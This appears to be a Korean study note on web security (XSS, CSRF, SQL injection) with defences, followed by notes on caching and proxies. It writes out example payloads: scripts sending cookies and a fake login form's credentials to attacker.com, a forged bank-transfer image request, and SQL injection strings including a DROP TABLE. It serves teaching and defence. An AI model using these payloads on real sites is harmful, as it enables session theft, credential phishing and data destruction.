취약성이 있는 웹 사이트에 악성 스크립트(HTML 또는 JS)를 삽입하여 사용자의 정보를 다른 웹 서버로 전송시키는 수동적 공격 방식이다.
브라우저는 공격자가 작성한 스크립트가 당연히 해당 웹사이트에서 온 코드라고 믿고 실행하기 때문에 세션 탈취, 쿠키 훔치기, 피싱, 사용자 조작 등을 유도할 수 있다.
예를 들어, 동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있으며, 예시는 다음과 같다
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>
<script>
document.body.innerHTML += `
<form action="http://attacker.com/steal" method="POST">
<label>아이디: <input type="text" name="id"></label><br><br>
<label>비밀번호: <input type="password" name="pw"></label><br><br>
<button type="submit">로그인</button>
</form>
`;
</script>
<script>fetch('http://hackers.com?c=' + document.cookie);</script>
<p>댓글: <%= comment %></p> ← 출력할 때 이스케이프 처리를 안 함
입력값을 무조건 검증
출력 전에 HTML 이스케이프 처리 (<, >, " 등)
쿠키 HttpOnly 설정
Content Security Policy (CSP) 설정
Spring Boot를 사용한다면, 직접 입력/출력시 검증하거나,
OWASP Java Encoder
와 같은 라이브러리를 사용할 수도 있다.
사용자의 의도와 무관하게 로그인된 사용자의 권한을 이용해 서버에 요청을 보내는 공격이다.
사용자가 특정 사이트(정상적인 서비스)에 로그인한 상태이다. (인증 세션/쿠키 존재)
아래와 코드가 존재하는, 공격자가 만든 악성 웹 사이트에 방문함.
<!-- 자동으로 10만원을 송금하게 하는 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000" />
1. CSRF Token 사용
2. SameSite 쿠키 속성 설정
Set-Cookie: JSESSIONID=abc123; SameSite=Strict
SameSite=Strict
→ 다른 사이트에서 요청 보낼 때 쿠키 자동 전송 안됨
SameSite=Lax
→ 일부 요청(GET)만 허용
SameSite=None; Secure
→ 크로스 도메인 허용하되, HTTPS만 허용
3. Referer / Origin 헤더 검증
String referer = request.getHeader("Referer");
if (referer == null || !referer.startsWith("https://trusted.com")) {
response.sendError(HttpServletResponse.SC_FORBIDDEN);
}
사용자 입력값에 악의적인 SQL 구문을 삽입해서 DB 쿼리를 조작하거나 탈취하는 공격이다.
1. 예시 대상 코드 (Java)
동적으로 생성
한다.String query = "SELECT * FROM users
WHERE username = '" + username + "' AND password = '" + password + "'";
위 코드에, 공격자가 아래와 같이 입력한다.
2. 공격자 입력
username: admin' --
password: abc
3. 악의적으로 변조된 최종 쿼리
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
--
는 SQL 주석이라 뒤의 구문은 무시됨로그인 우회: admin' --
데이터 조회: ' OR 1=1 --
테이블 삭제: '; DROP TABLE users --
DB 정보 탈취: UNION SELECT ...
1. PreparedStatement(파라미터 바인딩) 사용
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
?
자리에 값만 들어가서 SQL 문법 조작이 불가능하다.
JDBC, JPA, MyBatis 등 모든 프레임워크에서 지원한다.
2. ORM(JPA) 사용 + JPQL
@Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password")
User findByUsernameAndPassword(
@Param("username") String username, @Param("password") String password
);
3. 입력 검증 / 화이트리스트 제한
SQL 메타문자 ('
, --
, ;
, /*
) 등의 입력을 필터링한다.
ID, 숫자 등의 경우는 정규식을 통해 제한한다.
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
throw new IllegalArgumentException("입력값이 유효하지 않습니다.");
}
4. DB 권한 최소화
DB 계정에게 읽기/쓰기만 허용, DROP, ALTER, GRANT 등은 제한
root 계정을 사용하지 않는다.
5. 에러 메시지에 쿼리가 노출되지 않도록 설정
Spring + JPA를 사용한다면 기본적으로 SQL Injection을 방지해주는 구조이지만,
native query 또는 동적 쿼리 만들 땐 주의해야 한다.
클라이언트의 요청에 대해 응답한 내용을 저장해두고, 같은 요청이 다시 들어오면 서버에 요청하지 않고 캐시된 응답을 반환하는 기능이다.
속도 향상, 트래픽 감소, 비용 절감의 효과가 있기 때문에 널리 사용된다.
브라우저 캐시
프록시 캐시
CDN 캐시
클라이언트와 서버 사이에 위치한 중간 서버로, 클라이언트의 요청을 대신 받아 서버에 전달하고 응답을 되돌려주는 역할을 한다.
내부 서버에 접근하지 않아도 되고, 특정 IP나 도메인을 제한할수 있기 때문에 보안상 이점
이 존재하고, 로드밸런싱
, 캐싱
등의 역할을 수행하기 때문에 널리 사용된다.
클라이언트 → 프록시 → 서버
사용자의 요청을 "대신" 서버로 보내주는 역할을 한다.
회사 내부망 등에서 사용된다.
1. 웹 서비스 로드밸런싱
2. HTTPS 인증서
[브라우저] == HTTPS ==> [🔁 리버스 프록시(Nginx, Cloudflare 등)] == HTTP ==> [🖥️ 백엔드 서버]
클라이언트가 HTTPS 요청을 보냄 → 리버스 프록시가 SSL 인증서로 복호화 -> 복호화된 요청을 백엔드 서버에 HTTP로 전달
이렇게 함으로써 백엔드는 단순 HTTP 요청을 처리하면 되고, 이로 인해 성능 향상 등 이점을 가져올 수 있다.
3. 캐싱
4. 보안
리버스 프록시 서버의 예시로는 Nginx, Cloudflare, AWS ALB/NLB, Varnish 등이 있다.
Nginx
Cloudflare
AWS ALB / NLB
Varnish